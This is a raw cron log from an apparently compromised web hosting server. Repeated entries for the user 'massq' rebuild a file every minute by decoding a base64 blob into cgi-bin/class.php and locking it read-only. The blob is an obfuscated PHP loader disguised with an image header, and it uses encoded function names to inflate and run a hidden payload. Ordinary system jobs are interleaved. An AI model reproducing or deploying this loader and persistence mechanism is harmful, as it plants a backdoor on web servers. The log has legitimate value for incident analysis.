Nov 14 09:47:01 server CROND[26582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:48:01 server CROND[27531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:49:01 server CROND[28406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:50:01 server CROND[29280]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 09:50:01 server CROND[29281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:50:01 server CROND[29282]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 09:50:01 server CROND[29285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:50:01 server CROND[29284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:51:01 server CROND[29778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:52:01 server CROND[30274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:53:01 server CROND[30849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:54:01 server CROND[31469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:55:01 server CROND[32365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:55:01 server CROND[32367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:55:01 server CROND[32366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:56:01 server CROND[815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:57:01 server CROND[1685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 09:57:01 server CROND[1686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:58:01 server CROND[2396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:59:01 server CROND[2736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:00:01 server CROND[3597]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 10:00:01 server CROND[3598]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:00:01 server CROND[3604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 10:00:01 server CROND[3603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
